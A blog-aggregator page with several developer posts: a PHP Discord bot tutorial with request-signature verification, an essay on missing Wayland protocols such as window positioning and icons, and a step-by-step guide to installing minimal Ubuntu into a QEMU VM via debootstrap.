I wouldn’t recommend any of this to somebody who didn’t already spend most of their time in a terminal - but I do. I’m glad people have gone to all the effort to build this so I didn’t have to.

on January 17, 2024 01:28 PM

January 15, 2024

Apparently I got an honour from OpenUK.

There are a bunch of people I know on that list. Chris Lamb and Mark Brown are familiar names from Debian. Colin King and Jonathan Riddell are people I know from past work in Ubuntu. I’ve admired David MacIver’s work on Hypothesis and Richard Hughes’ work on firmware updates from afar. And there are a bunch of other excellent projects represented there: OpenStreetMap, Textualize, and my alma mater of Cambridge to name but a few.

My friend Stuart Langridge wrote about being on a similar list a few years ago, and I can’t do much better than to echo it: in particular he wrote about the way the open source development community is often at best unwelcoming to people who don’t look like Stuart and I do. I can’t tell a whole lot about demographic distribution just by looking at a list of names, but while these honours still seem to be skewed somewhat male, I’m fairly sure they’re doing a lot better in terms of gender balance than my “home” project of Debian is, for one. I hope this is a sign of improvement for the future, and I’ll do what I can to pay it forward.

on January 15, 2024 04:15 PM

January 14, 2024

Discord have changed the way bots work quite a few times. Recently, though, they built a system that lets you create and register “slash commands” — commands that you can type into the Discord chat and which do things, like /hello — and which are powered by “webhooks”. That is: when someone uses your command, it sends an HTTP request to a URL of your choice, and your URL then responds, and that process powers what your users see in Discord. Importantly, this means that operating a Discord bot does not require a long-running server process. You don’t need to host it somewhere where you worry about the bot process crashing, how you’re going to recover from that, all that stuff. No daemon required. In fact, you can make a complete Discord bot in one single PHP file. You don’t even need any PHP libraries. One file, which you upload to your completely-standard shared hosting webspace, the same way you might upload any other simple PHP thing. Here’s some notes on how I did that.

The Discord documentation is pretty annoying and difficult to follow; all the stuff you need is in there, somewhere, but it’s often hard to find where, and there’s very little that explains why a thing is the way it is. It’s tough to grasp the “Zen” of how Discord wants you to work with their stuff. But in essence, you’ll need to create a Discord app: follow their instructions to do that. Then, we’ll write our small PHP file, and upload it; finally, fill in the URL of that PHP file as the “interactive endpoint URL” in your newly-created app’s general information page in the Discord developer admin. You can then add the bot to a server by visiting the URL from the “URL generator” for your app in the Discord dev admin.

The PHP file will get sent blocks of JSON, which describe what a user is doing — a command they’ve typed, parameters to that command, or whatever — and respond with something which is shown to the user — the text of a message which is your bot’s reply, or a command to alter the text of a previous message, or add a clickable button to it, and the like. I won’t go into detail about all the things you can do here (if that would be interesting, let me know and maybe I’ll write a followup or two), but the basic structure of your bot needs to be that it authenticates the incoming request from Discord, it interprets that request, and it responds to that request.

Authentication first. When you create your app, you get a client_public_key value, a big long string of hex digits that will look like c78c32c3c7871369fa67 or whatever. Your PHP file needs to know this value somehow. (How you do that is up to you; think of this like a MySQL username and password, and handle this the same way you do those.) Then, every request that comes in will have two important HTTP headers: X-Signature-ED25519 and X-Signature-Timestamp. You use a combination of these (which provide a signature for the incoming request) and your public key to check whether the request is legitimate. There are PHP libraries to do this, but fortunately we don’t need them; PHP has the relevant signature verification stuff built in, these days. So, to read the content of the incoming post and verify the signature on it:

/* read the incoming request data */
$postData = file_get_contents('php://input');
/* get the signature and timestamp header values */
$signature = isset($_SERVER['HTTP_X_SIGNATURE_ED25519']) ? 
    $_SERVER['HTTP_X_SIGNATURE_ED25519'] : "";
$timestamp = isset($_SERVER['HTTP_X_SIGNATURE_TIMESTAMP']) ? 
    $_SERVER['HTTP_X_SIGNATURE_TIMESTAMP'] : "";
/* check the signature */
$sigok = sodium_crypto_sign_verify_detached(
    hex2bin($signature), 
    $timestamp . $postData,
    hex2bin($client_public_key));
/* If signature is not OK, reject the request */
if (!$sigok) {
    http_response_code(401);
    die();
}

We need to correctly reject invalidly signed requests, because Discord will check that we do — they will occasionally send test requests with bad signatures to confirm that you’re doing the check. (They do this when you first add the URL to the Discord admin screens; if it won’t let you save the settings, then it’s because Discord thinks your URL returned the wrong thing. This is annoying, because you have no idea why Discord didn’t like it; best bet is to add lots of error_log() logging of inputs and outputs to your PHP file and inspect the results carefully.)

Next, interpret the incoming request and do things with it. The only thing we have to respond to here is a ping message; Discord will send them as part of their irregular testing, and expects to get back a correctly-formatted pong message.

$data = json_decode($postData);
if ($data->type == 1) { // this is a ping message
    echo json_encode(array('type' => 1)); // response: pong
    die();
}

The magic numbers there (1 for a ping, 1 for a pong) are both defined in the Discord docs (incoming values being the “Interaction Type” field and outgoing values the “Interaction Callback Type”.)

After that, the world’s approximately your oyster. You check the incoming type field for the type of incoming thing this is — a slash command, a button click in a message, whatever — and respond appropriately. This is all stuff for future posts if there’s interest, but the docs (in particular the “receiving and responding and “message components” sections) have all the detail. For your bot to provide a slash command, you have to register it first, which is a faff; I wrote a little Python script to do that. You only have to do it once. The script looks approximately like this; you’ll need your APP_ID and your BOT_TOKEN from the Discord dashboard.

import requests, json
MY_COMMAND = {
    "name": 'doit',
    "description": 'Do the thing',
    "type": 1
}
discord_endpoint = _
    f"https://discord.com/api/v10/applications/{APP_ID}/commands"
requests.request("PUT", discord_endpoint, 
    json=[MY_COMMAND], headers={
        "Authorization": f"Bot {BOT_TOKEN}",
        "User-Agent": 'mybotname (myboturl, 1.0.0)',
})

Once you’ve done that, you can use /doit in a channel with your bot in, and your PHP bot URL will receive the incoming request for you to process.

on January 14, 2024 09:57 PM

January 11, 2024

This post is in part a response to an aspect of Nate’s post “Does Wayland really break everything?“, but also my reflection on discussing Wayland protocol additions, a unique pleasure that I have been involved with for the past months1.

Some facts

Before I start I want to make a few things clear: The Linux desktop will be moving to Wayland2 – this is a fact at this point (and has been for a while), sticking to X11 makes no sense for future projects. From reading Wayland protocols and working with it at a much lower level than I ever wanted to, it is also very clear to me that Wayland is an exceptionally well-designed core protocol, and so are the additional extension protocols (xdg-shell & Co.). The modularity of Wayland is great, it gives it incredible flexibility and will for sure turn out to be good for the long-term viability of this project (and also provides a path to correct protocol issues in future, if one is found). In other words: Wayland is an amazing foundation to build on, and a lot of its design decisions make a lot of sense!

The shift towards people seeing “Linux” more as an application developer platform, and taking PipeWire and XDG Portals into account when designing for Wayland is also an amazing development and I love to see this – this holistic approach is something I always wanted!

Furthermore, I think Wayland removes a lot of functionality that shouldn’t exist in a modern compositor – and that’s a good thing too! Some of X11’s features and design decisions had clear drawbacks that we shouldn’t replicate. I highly recommend to read Nate’s blog post, it’s very good and goes into more detail. And due to all of this, I firmly believe that any advancement in the Wayland space must come from within the project.

But!

But! Of course there was a “but” coming 😉 – I think while developing Wayland-as-an-ecosystem we are now entrenched into narrow concepts of how a desktop should work. While discussing Wayland protocol additions, a lot of concepts clash, people from different desktops with different design philosophies debate the merits of those over and over again never reaching any conclusion (just as you will never get an answer out of humans whether sushi or pizza is the clearly superior food, or whether CSD or SSD is better). Some people want to use Wayland as a vehicle to force applications to submit to their desktop’s design philosophies, others prefer the smallest and leanest protocol possible, other developers want the most elegant behavior possible. To be clear, I think those are all very valid approaches.

But this also creates problems: By switching to Wayland compositors, we are already forcing a lot of porting work onto toolkit developers and application developers. This is annoying, but just work that has to be done. It becomes frustrating though if Wayland provides toolkits with absolutely no way to reach their goal in any reasonable way. For Nate’s Photoshop analogy: Of course Linux does not break Photoshop, it is Adobe’s responsibility to port it. But what if Linux was missing a crucial syscall that Photoshop needed for proper functionality and Adobe couldn’t port it without that? In that case it becomes much less clear on who is to blame for Photoshop not being available.

A lot of Wayland protocol work is focused on the environment and design, while applications and work to port them often is considered less. I think this happens because the overlap between application developers and developers of the desktop environments is not necessarily large, and the overlap with people willing to engage with Wayland upstream is even smaller. The combination of Windows developers porting apps to Linux and having involvement with toolkits or Wayland is pretty much nonexistent. So they have less of a voice.

A quick detour through the neuroscience research lab

I have been involved with Freedesktop, GNOME and KDE for an incredibly long time now (more than a decade), but my actual job (besides consulting for Purism) is that of a PhD candidate in a neuroscience research lab (working on the morphology of biological neurons and its relation to behavior). I am mostly involved with three research groups in our institute, which is about 35 people. Most of us do all our data analysis on powerful servers which we connect to using RDP (with KDE Plasma as desktop). Since I joined, I have been pushing the envelope a bit to extend Linux usage to data acquisition and regular clients, and to have our data acquisition hardware interface well with it. Linux brings some unique advantages for use in research, besides the obvious one of having every step of your data management platform introspectable with no black boxes left, a goal I value very highly in research (but this would be its own blogpost).

In terms of operating system usage though, most systems are still Windows-based. Windows is what companies develop for, and what people use by default and are familiar with. The choice of operating system is very strongly driven by application availability, and WSL being really good makes this somewhat worse, as it removes the need for people to switch to a real Linux system entirely if there is the occasional software requiring it. Yet, we have a lot more Linux users than before, and use it in many places where it makes sense. I also developed a novel data acquisition software that even runs on Linux-only and uses the abilities of the platform to its fullest extent. All of this resulted in me asking existing software and hardware vendors for Linux support a lot more often. Vendor-customer relationship in science is usually pretty good, and vendors do usually want to help out. Same for open source projects, especially if you offer to do Linux porting work for them… But overall, the ease of use and availability of required applications and their usability rules supreme. Most people are not technically knowledgeable and just want to get their research done in the best way possible, getting the best results with the least amount of friction.

KDE/Linux usage at a control station for a particle accelerator at Adlershof Technology Park, Germany, for reference (by 25years of KDE)3

Back to the point

The point of that story is this: GNOME, KDE, RHEL, Debian or Ubuntu: They all do not matter if the necessary applications are not available for them. And as soon as they are, the easiest-to-use solution wins. There are many facets of “easiest”: In many cases this is RHEL due to Red Hat support contracts being available, in many other cases it is Ubuntu due to its mindshare and ease of use. KDE Plasma is also frequently seen, as it is perceived a bit easier to onboard Windows users with it (among other benefits). Ultimately, it comes down to applications and 3rd-party support though.

Here’s a dirty secret: In many cases, porting an application to Linux is not that difficult. The thing that companies (and FLOSS projects too!) struggle with and will calculate the merits of carefully in advance is whether it is worth the support cost as well as continuous QA/testing. Their staff will have to do all of that work, and they could spend that time on other tasks after all.

So if they learn that “porting to Linux” not only means added testing and support, but also means to choose between the legacy X11 display server that allows for 1:1 porting from Windows or the “new” Wayland compositors that do not support the same features they need, they will quickly consider it not worth the effort at all. I have seen this happen.

Of course many apps use a cross-platform toolkit like Qt, which greatly simplifies porting. But this just moves the issue one layer down, as now the toolkit needs to abstract Windows, macOS and Wayland. And Wayland does not contain features to do certain things or does them very differently from e.g. Windows, so toolkits have no way to actually implement the existing functionality in a way that works on all platforms. So in Qt’s documentation you will often find texts like “works everywhere except for on Wayland compositors or mobile”4.

Many missing bits or altered behavior are just papercuts, but those add up. And if users will have a worse experience, this will translate to more support work, or people not wanting to use the software on the respective platform.

What’s missing?

Window positioning

SDI applications with multiple windows are very popular in the scientific world. For data acquisition (for example with microscopes) we often have one monitor with control elements and one larger one with the recorded image. There is also other configurations where multiple signal modalities are acquired, and the experimenter aligns windows exactly in the way they want and expects the layout to be stored and to be loaded upon reopening the application. Even in the image from Adlershof Technology Park above you can see this style of UI design, at mega-scale. Being able to pop-out elements as windows from a single-window application to move them around freely is another frequently used paradigm, and immensely useful with these complex apps.

It is important to note that this is not a legacy design, but in many cases an intentional choice – these kinds of apps work incredibly well on larger screens or many screens and are very flexible (you can have any window configuration you want, and switch between them using the (usually) great window management abilities of your desktop).

Of course, these apps will work terribly on tablets and small form factors, but that is not the purpose they were designed for and nobody would use them that way.

I assumed for sure these features would be implemented at some point, but when it became clear that that would not happen, I created the ext-placement protocol which had some good discussion but was ultimately rejected from the xdg namespace. I then tried another solution based on feedback, which turned out not to work for most apps, and now proposed xdg-placement (v2) in an attempt to maybe still get some protocol done that we can agree on, exploring more options before pushing the existing protocol for inclusion into the ext Wayland protocol namespace. Meanwhile though, we can not port any application that needs this feature, while at the same time we are switching desktops and distributions to Wayland by default.

Window position restoration

Similarly, a protocol to save & restore window positions was already proposed in 2018, 6 years ago now, but it has still not been agreed upon, and may not even help multiwindow apps in its current form. The absence of this protocol means that applications can not restore their former window positions, and the user has to move them to their previous place again and again.

Meanwhile, toolkits can not adopt these protocols and applications can not use them and can not be ported to Wayland without introducing papercuts.

Window icons

Similarly, individual windows can not set their own icons, and not-installed applications can not have an icon at all because there is no desktop-entry file to load the icon from and no icon in the theme for them. You would think this is a niche issue, but for applications that create many windows, providing icons for them so the user can find them is fairly important. Of course it’s not the end of the world if every window has the same icon, but it’s one of those papercuts that make the software slightly less user-friendly. Even applications with fewer windows like LibrePCB are affected, so much so that they rather run their app through Xwayland for now.

I decided to address this after I was working on data analysis of image data in a Python virtualenv, where my code and the Python libraries used created lots of windows all with the default yellow “W” icon, making it impossible to distinguish them at a glance. This is xdg-toplevel-icon now, but of course it is an uphill battle where the very premise of needing this is questioned. So applications can not use it yet.

Limited window abilities requiring specialized protocols

Firefox has a picture-in-picture feature, allowing it to pop out media from a mediaplayer as separate floating window so the user can watch the media while doing other things. On X11 this is easily realized, but on Wayland the restrictions posed on windows necessitate a different solution. The xdg-pip protocol was proposed for this specialized usecase, but it is also not merged yet. So this feature does not work as well on Wayland.

Automated GUI testing / accessibility / automation

Automation of GUI tasks is a powerful feature, so is the ability to auto-test GUIs. This is being worked on, with libei and wlheadless-run (and stuff like ydotool exists too), but we’re not fully there yet.

Wayland is frustrating for (some) application authors

As you see, there is valid applications and valid usecases that can not be ported yet to Wayland with the same feature range they enjoyed on X11, Windows or macOS. So, from an application author’s perspective, Wayland does break things quite significantly, because things that worked before can no longer work and Wayland (the whole stack) does not provide any avenue to achieve the same result.

Wayland does “break” screen sharing, global hotkeys, gaming latency (via “no tearing”) etc, however for all of these there are solutions available that application authors can port to. And most developers will gladly do that work, especially since the newer APIs are usually a lot better and more robust. But if you give application authors no path forward except “use Xwayland and be on emulation as second-class citizen forever”, it just results in very frustrated application developers.

For some application developers, switching to a Wayland compositor is like buying a canvas from the Linux shop that forces your brush to only draw triangles. But maybe for your avant-garde art, you need to draw a circle. You can approximate one with triangles, but it will never be as good as the artwork of your friends who got their canvases from the Windows or macOS art supply shop and have more freedom to create their art.

Triangles are proven to be the best shape! If you are drawing circles you are creating bad art!

Wayland, via its protocol limitations, forces a certain way to build application UX – often for the better, but also sometimes to the detriment of users and applications. The protocols are often fairly opinionated, a result of the lessons learned from X11. In any case though, it is the odd one out – Windows and macOS do not pose the same limitations (for better or worse!), and the effort to port to Wayland is orders of magnitude bigger, or sometimes in case of the multiwindow UI paradigm impossible to achieve to the same level of polish. Desktop environments of course have a design philosophy that they want to push, and want applications to integrate as much as possible (same as macOS and Windows!). However, there are many applications out there, and pushing a design via protocol limitations will likely just result in fewer apps.

The porting dilemma

I spent probably way too much time looking into how to get applications cross-platform and running on Linux, often talking to vendors (FLOSS and proprietary) as well. Wayland limitations aren’t the biggest issue by far, but they do start to come come up now, especially in the scientific space with Ubuntu having switched to Wayland by default. For application authors there is often no way to address these issues. Many scientists do not even understand why their Python script that creates some GUIs suddenly behaves weirdly because Qt is now using the Wayland backend on Ubuntu instead of X11. They do not know the difference and also do not want to deal with these details – even though they may be programmers as well, the real goal is not to fiddle with the display server, but to get to a scientific result somehow.

Another issue is portability layers like Wine which need to run Windows applications as-is on Wayland. Apparently Wine’s Wayland driver has some heuristics to make window positioning work (and I am amazed by the work done on this!), but that can only go so far.

A way out?

So, how would we actually solve this? Fundamentally, this excessively long blog post boils down to just one essential question:

Do we want to force applications to submit to a UX paradigm unconditionally, potentially loosing out on application ports or keeping apps on X11 eternally, or do we want to throw them some rope to get as many applications ported over to Wayland, even through we might sacrifice some protocol purity?

I think we really have to answer that to make the discussions on wayland-protocols a lot less grueling. This question can be answered at the wayland-protocols level, but even more so it must be answered by the individual desktops and compositors.

If the answer for your environment turns out to be “Yes, we want the Wayland protocol to be more opinionated and will not make any compromises for application portability”, then your desktop/compositor should just immediately NACK protocols that add something like this and you simply shouldn’t engage in the discussion, as you reject the very premise of the new protocol: That it has any merit to exist and is needed in the first place. In this case contributors to Wayland and application authors also know where you stand, and a lot of debate is skipped. Of course, if application authors want to support your environment, you are basically asking them now to rewrite their UI, which they may or may not do. But at least they know what to expect and how to target your environment.

If the answer turns out to be “We do want some portability”, the next question obviously becomes where the line should be drawn and which changes are acceptable and which aren’t. We can’t blindly copy all X11 behavior, some porting work to Wayland is simply inevitable. Some written rules for that might be nice, but probably more importantly, if you agree fundamentally that there is an issue to be fixed, please engage in the discussions for the respective MRs! We for sure do not want to repeat X11 mistakes, and I am certain that we can implement protocols which provide the required functionality in a way that is a nice compromise in allowing applications a path forward into the Wayland future, while also being as good as possible and improving upon X11. For example, the toplevel-icon proposal is already a lot better than anything X11 ever had. Relaxing ACK requirements for the ext namespace is also a good proposed administrative change, as it allows some compositors to add features they want to support to the shared repository easier, while also not mandating them for others. In my opinion, it would allow for a lot less friction between the two different ideas of how Wayland protocol development should work. Some compositors could move forward and support more protocol extensions, while more restrictive compositors could support less things. Applications can detect supported protocols at launch and change their behavior accordingly (ideally even abstracted by toolkits).

You may now say that a lot of apps are ported, so surely this issue can not be that bad. And yes, what Wayland provides today may be enough for 80-90% of all apps. But what I hope the detour into the research lab has done is convince you that this smaller percentage of apps matters. A lot. And that it may be worthwhile to support them.

To end on a positive note: When it came to porting concrete apps over to Wayland, the only real showstoppers so far5 were the missing window-positioning and window-position-restore features. I encountered them when porting my own software, and I got the issue as feedback from colleagues and fellow engineers. In second place was UI testing and automation support, the window-icon issue was mentioned twice, but being a cosmetic issue it likely simply hurts people less and they can ignore it easier.

What this means is that the majority of apps are already fine, and many others are very, very close! A Wayland future for everyone is within our grasp! 😄

I will also bring my two protocol MRs to their conclusion for sure, because as application developers we need clarity on what the platform (either all desktops or even just a few) supports and will or will not support in future. And the only way to get something good done is by contribution and friendly discussion.

Footnotes

  1. Apologies for the clickbait-y title – it comes with the subject 😉 ↩
  2. When I talk about “Wayland” I mean the combined set of display server protocols and accepted protocol extensions, unless otherwise clarified. ↩
  3. I would have picked a picture from our lab, but that would have needed permission first ↩
  4. Qt has awesome “platform issues” pages, like for macOS and Linux/X11 which help with porting efforts, but Qt doesn’t even list Linux/Wayland as supported platform. There is some information though, like window geometry peculiarities, which aren’t particularly helpful when porting (but still essential to know). ↩
  5. Besides issues with Nvidia hardware – CUDA for simulations and machine-learning is pretty much everywhere, so Nvidia cards are common, which causes trouble on Wayland still. It is improving though. ↩
on January 11, 2024 04:24 PM

November 30, 2023

Every so often I have to make a new virtual machine for some specific use case. Perhaps I need a newer version of Ubuntu than the one I’m running on my hardware in order to build some software, and containerization just isn’t working. Or maybe I need to test an app that I made modifications to in a fresh environment. In these instances, it can be quite helpful to be able to spin up these virtual machines quickly, and only install the bare minimum software you need for your use case.

One common strategy when making a minimal or specially customized install is to use a server distro (like Ubuntu Server for instance) as the base and then install other things on top of it. This sorta works, but it’s less than ideal for a couple reasons:

  • Server distros are not the same as minimal distros. They may provide or offer software and configurations that are intended for a server use case. For instance, the ubuntu-server metapackage in Ubuntu depends on software intended for RAID array configuration and logical volume management, and it recommends software that enables LXD virtual machine related features. Chances are you don’t need or want these sort of things.

  • They can be time-consuming to set up. You have to go through the whole server install procedure, possibly having to configure or reconfigure things that are pointless for your use case, just to get the distro to install. Then you have to log in and customize it, adding an extra step.

If you’re able to use Debian as your distro, these problems aren’t so bad since Debian is sort of like Arch Linux - there’s a minimal base that you build on to turn it into a desktop or server. But for Ubuntu, there’s desktop images (not usually what you want), server images (not usually what you want), cloud images (might be usable but could be tricky), and Ubuntu Core images (definitely not what you want for most use cases). So how exactly do you make a minimal Ubuntu VM?

As hinted at above, a cloud image might work, but we’re going to use a different solution here. As it turns out, you don’t actually have to use a prebuilt image or installer to install Ubuntu. Similar to the installation procedure Arch Linux provides, you can install Ubuntu manually, giving you very good control over what goes into your VM and how it’s configured.

This guide is going to be focused on doing a manual installation of Ubuntu into a VM, using debootstrap to install the initial minimal system. You can use this same technique to install Ubuntu onto physical hardware by just booting from a live USB and then using this technique on your hardware’s physical disk(s). However we’re going to be primarily focused on using a VM right now. Also, the virtualization software we’re going to be working with is QEMU. If you’re using a different hypervisor like VMware, VirtualBox, or Hyper-V, you can make a new VM and then install Ubuntu manually into it the same way you would install Ubuntu onto physical hardware using this technique. QEMU, however, provides special tools that make this procedure easier, and QEMU is more flexible than other virtualization software in my experience. You can install it by running sudo apt install qemu-system-x86 on your host system.

With that laid out, let us begin.

Open a terminal on your physical machine, and make a directory for your new VM to reside in. I’ll use “~/VMs/Ubuntu” here.

mkdir ~/VMs/Ubuntu
cd ~/VMs/Ubuntu

Next, let’s make a virtual disk image for the VM using the qemu-img utility.

qemu-img create -f qcow2 ubuntu.img 32G

This will make a 32 GiB disk image - feel free to customize the size or filename as you see fit. The -f parameter at the beginning specifies the VM disk image format. QCOW2 is usually a good option since the image will start out small and then get bigger as necessary. However, if you’re already using a copy-on-write filesystem like BTRFS or ZFS, you might want to use -f raw rather than -f qcow2 - this will make a raw disk image file and avoid the overhead of the QCOW2 file format.

Now we need to attach the disk image to the host machine as a device. I usually do this with you can use qemu-nbd, which can attach a QEMU-compatible disk image to your physical system as a network block device. These devices look and work just like physical disks, which makes them extremely handy for modifying the contents of a disk image.

qemu-nbd requires that the nbd kernel module be loaded, and at least on Ubuntu, it’s not loaded by default, so we need to load it before we can attach the disk image to our host machine.

sudo modprobe nbd
sudo qemu-nbd -f qcow2 -c /dev/nbd0 ./ubuntu.img

This will make our ubuntu.img file available through the /dev/nbd0 device. Make sure to specify the format via the -f switch, especially if you’re using a raw disk image. QEMU will keep you from writing a new partition table to the disk image if you give it a raw disk image without telling it directly that the disk image is raw.

Once your disk image is attached, we can partition it and format it just like a real disk. For simplicity’s sake, we’ll give the drive an MBR partition table, create a single partition enclosing all of the disk’s space, then format the partition as ext4.

sudo fdisk /dev/nbd0
n
p
1


w
sudo mkfs.ext4 /dev/nbd0p1

(The two blank lines are intentional - they just accept the default options for the partition’s first and last sector, which makes a partition that encloses all available space on the disk.)

Now we can mount the new partition.

mkdir vdisk
sudo mount /dev/nbd0p1 ./vdisk

Now it’s time to install the minimal Ubuntu system. You’ll need to know the first part of the codename for the Ubuntu version you intend to install. The codenames for Ubuntu releases are an adjective followed by the name of an animal, like “Jammy Jellyfish”. The first word (“Jammy” in this instance) is the one you need. These codenames are easy to look up online. Here’s the codenames for the currently supported LTS versions of Ubuntu, as well as the codename for the current development release:

+-------------------+-------+
| 20.04 | Focal |
|-------------------+-------+
| 22.04 | Jammy |
|-------------------+-------+
| 24.04 Development | Noble |
|-------------------+-------+

To install the initial minimal Ubuntu system, we’ll use the debootstrap utility. This utility will download and install the bare minimum packages needed to have a functional Ubuntu system. Keep in mind that the Ubuntu installation this tool makes is really minimal - it doesn’t even come with a bootloader or Linux kernel. We’ll need to make quite a few changes to this installation before it’s ready for use in a VM.

Assuming we’re installing Ubuntu 22.04 LTS into our VM, the command to use is:

sudo debootstrap jammy ./vdisk

After a few minutes, our new system should be downloaded and installed. (Note that debootstrap does require root privileges.)

Now we’re ready to customize the VM! To do this, we’ll use a utility called chroot - this utility allows us to “enter” an installed Linux system, so we can modify with it without having to boot it. (This is done by changing the root directory (from the perspective of the chroot process) to whatever directory you specify, then launching a shell or program inside the specified directory. The shell or program will see its root directory as being the directory you specified, and volia, it’s as if we’re “inside” the installed system without having to boot it. This is a very weak form of containerization and shouldn’t be relied on for security, but it’s perfect for what we’re doing.)

There’s one thing we have to account for before chrooting into our new Ubuntu installation. Some commands we need to run will assume that certain special directories are mounted properly - in particular, /proc should point to a procfs filesystem, /sys should point to a sysfs filesystem, /dev needs to contain all of the device files of our system, and /dev/pts needs to contain the device files for pseudoterminals (you don’t have to know what any of that means, just know that those four directories are important and have to be set up properly). If these directories are not properly mounted, some tools will behave strangely or not work at all. The easiest way to solve this problem is with bind mounts. These basically tell Linux to make the contents of one directory visible in some other directory too. (These are sort of like symlinks, but they work differently - a symlink says “I’m a link to something, go over here to see what I contain”, whereas a bind mount says “make this directory’s contents visible over here too”. The differences are subtle but important - a symlink can’t make files outside of a chroot visible inside the chroot. A bind mount, however, can.)

So let’s bind mount the needed directories from our system into the chroot:

sudo mount --bind /dev ./vdisk/dev
sudo mount --bind /proc ./vdisk/proc
sudo mount --bind /sys ./vdisk/sys
sudo mount --bind /dev/pts ./vdisk/dev/pts

And now we can chroot in!

sudo chroot ./vdisk

Run ping -c1 8.8.8.8 just to make sure that Internet access is working - if it’s not, you may need to copy the host’s /etc/resolv.conf file into the VM. However, you probably won’t have to do this. Assuming Internet is working, we can now start customizing things.

By default, debootstrap only enables the “main” repository of Ubuntu. This repository only contains free-and-open-source software that is supported by Canonical. This does *not* include most of the software available in Ubuntu - most of it is in the “universe”, “restricted”, and “multiverse” repositories. If you really know what you’re doing, you can leave some of these repositories out, but I would highly recommend you enable them. Also, only the “release” pocket is enabled by default - this pocket includes all of the software that came with your chosen version of Ubuntu when it was first released, but it doesn’t include bug fixes, security updates, or newer versions of software. All those are in the “updates”, “security”, and “backports” pockets.

To fix this, run the following block of code, adjusted for your release of Ubuntu:

tee /etc/apt/sources.list << ENDSOURCESLIST
deb http://archive.ubuntu.com/ubuntu jammy main universe restricted multiverse
deb http://archive.ubuntu.com/ubuntu jammy-updates main universe restricted multiverse
deb http://archive.ubuntu.com/ubuntu jammy-security main universe restricted multiverse
deb http://archive.ubuntu.com/ubuntu jammy-backports main universe restricted multiverse
ENDSOURCESLIST

Replace “jammy” with the codename corresponding to your chosen release of Ubuntu. Once you’ve run this, run cat /etc/apt/sources.list to make sure the file looks right, then run apt update to refresh your software database with the newly enabled repositories. Once that’s done, run apt full-upgrade to update any software in the base installation that’s out-of-date.

What exactly you install at this point is up to you, but here’s my list of recommendations:

  • linux-generic. Highly recommended. This provides the Linux kernel. Without it, you’re going to have significant trouble booting. You can replace this with a different kernel metapackage if you want to for some reason (like linux-lowlatency).

  • grub-pc. Highly recommended. This is the bootloader. You might be able to replace this with an alternative bootloader like systemd-boot.

  • vim (or some other decent text editor that runs in a terminal). Highly recommended. The minimal install of Ubuntu doesn’t come with a good text editor, and you’ll really want one of those most likely.

  • network-manager. Highly recommended. If you don’t install this or some other network manager, you won’t have Internet access. You can replace this with an alternative network manager if you’d like.

  • tmux. Recommended. Unless you’re going to install a graphical environment, you’ll probably want a terminal multiplexer so you don’t have to juggle TTYs (which is especially painful in QEMU).

  • openssh-server. Optional. This is handy since it lets you use your terminal emulator of choice on your physical machine to interface with the virtual machine. You won’t be stuck using a rather clumsy and slow TTY in a QEMU display.

  • pulseaudio. Very optional. Provides sound support within the VM.

  • icewm + xserver-xorg + xinit + xterm. Very optional. If you need or want a graphical environment, this should provide you with a fairly minimal and fast one. You’ll still log in at a TTY, but you can use startx to start a desktop.

Add whatever software you want to this list, remove whatever you don’t want, and then install it all with this command:

apt install listOfPackages

Replace “listOfPackages” with the actual list of packages you want to install. For instance, if I were to install everything in the above list except openssh-server, I would use:

apt install linux-generic grub-pc vim network-manager tmux icewm xserver-xorg xinit xterm

At this point our software is installed, but the VM still has a few things needed to get it going.

  • We need to install and configure the bootloader.

  • We need an /etc/fstab file, or the system will boot with the drive mounted read-only.

  • We should probably make a non-root user with sudo access.

  • There’s a file in Ubuntu that will prevent Internet access from working. We should delete it now.

The bootloader is pretty easy to install and configure. Just run:

sudo grub-install /dev/nbd0
sudo update-grub

For /etc/fstab, there are a few options. One particularly good one is to label the partition we installed Ubuntu into using e2label, then use that label as the ID of the drive we want to mount as root. That can be done like this:

e2label /dev/nbd0p1 ubuntu-inst
echo "LABEL=ubuntu-inst / ext4 defaults 0 1" > /etc/fstab

Making a user account is fairly easy:

adduser user # follow the prompts to create the user
adduser user sudo

And lastly, we should remove the Internet blocker file. I don’t understand why exactly this file exists in Ubuntu, but it does, and it causes problems for me when I make a minimal VM in this way. Removing it fixes the problem.

rm /usr/lib/NetworkManager/conf.d/10-globally-managed-devices.conf

EDIT: January 21, 2024: This rm command doesn’t actually work forever - an update to NetworkManager can end up putting this file back, breaking networking again. Rather than using rm on it, you should dpkg-divert it somewhere benign, for instance with dpkg-divert --divert /usr/lib/NetworkManager/conf.d/10-globally-managed-devices.conf --rename /var/nm-globally-managed-devices-junk.old, which should persist even after an update.

And that’s it! Now we can exit the chroot, unmount everything, and detach the disk image from our host machine.

exit
sudo umount ./vdisk/dev/pts
sudo umount ./vdisk/dev
sudo umount ./vdisk/proc
sudo umount ./vdisk/sys
sudo umount ./vdisk
sudo qemu-nbd -d /dev/nbd0

Now we can try and boot the VM. But before doing that, it’s probably a good idea to make a VM launcher script. Run vim ./startVM.sh (replacing “vim” with your text editor of choice), then type the following contents into the file:

#!/bin/bash
qemu-system-x86_64 -enable-kvm -machine q35 -m 4G -smp 2 -vga qxl -display sdl -monitor stdio -device intel-hda -device hda-duplex -usb -device usb-tablet -drive file=./ubuntu.img,format=qcow2,if=virtio

Refer to the qemu-system-x86_64 manpage or QEMU Invocation documentation page at https://www.qemu.org/docs/master/system/invocation.html for more info on what all these options do. Basically this gives you a VM with 4 GB RAM, 2 CPU cores, decent graphics (not 3d accelerated but not as bad as plain VGA), and audio support. You can tweak the amount of RAM and number of CPU cores by changing the -m and -smp parameters respectively. You’ll have access to the QEMU monitor through whatever terminal you run the launcher script in, allowing you to do things like switch to a different TTY, insert and remove devices and storage media on the fly, and things like that.

Finally, it’s time to see if it works.

chmod +x ./startVM.sh
./startVM.sh

If all goes well, the VM should boot and you should be able to log in! If you installed IceWM and its accompanying software like mentioned earlier, try running startx once you log in. This should pop open a functional IceWM desktop.

Some other things you should test once you’re logged in:

  • Do you have Internet access? ping -c1 8.8.8.8 can be used to test. If you don’t have Internet, run sudo nmtui in a terminal and add a new Ethernet network within the VM, then try activating it. If you get an error about the Ethernet device being strictly unmanaged, you probably forgot to remove the /usr/lib/NetworkManager/conf.d/10-globally-managed-devices.conf file mentioned earlier.

  • Can you write anything to the drive? Try running touch test to make sure. If you can’t, you probably forgot to create the /etc/fstab file.

If either of these things don’t work, you can power off the VM, then re-attach the VM’s virtual disk to your host machine, mount it, and chroot in like this:

sudo qemu-nbd -f qcow2 -c /dev/nbd0 ./ubuntu.img
sudo mount /dev/nbd0p1 ./vdisk
sudo chroot vdisk

